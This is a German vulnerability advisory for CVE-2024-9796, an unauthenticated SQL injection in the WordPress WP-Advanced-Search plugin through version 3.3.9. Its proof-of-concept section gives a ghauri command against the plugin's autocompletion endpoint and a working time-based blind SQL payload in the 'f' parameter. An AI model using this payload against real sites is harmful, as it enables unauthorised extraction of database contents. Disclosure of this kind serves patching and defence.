CVE-2024-9796

WordPress WP-Advanced-Search <= 3.3.9 - Nicht authentifizierte SQL-Injection

Beschreibung

Das WordPress WP-Advanced-Search-Plugin für WordPress ist in allen Versionen bis einschließlich 3.3.9 anfällig für SQL-Injection aufgrund unzureichenden Escapings des vom Benutzer bereitgestellten Parameters und fehlender ausreichender Vorbereitung der bestehenden SQL-Abfrage. Dies ermöglicht es nicht authentifizierten Angreifern, zusätzliche SQL-Abfragen in bereits bestehende Abfragen anzuhängen, die verwendet werden können, um sensible Informationen aus der Datenbank zu extrahieren.

Typ: Plugin
CVSS-Score: 7.5
CVE: CVE-2024-9796
Slug: wp-advanced-search

Download-Link: Download wp-advanced-search Version 3.3.9

#POC

ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"

Parameter: f (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (IF - comment)
    Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'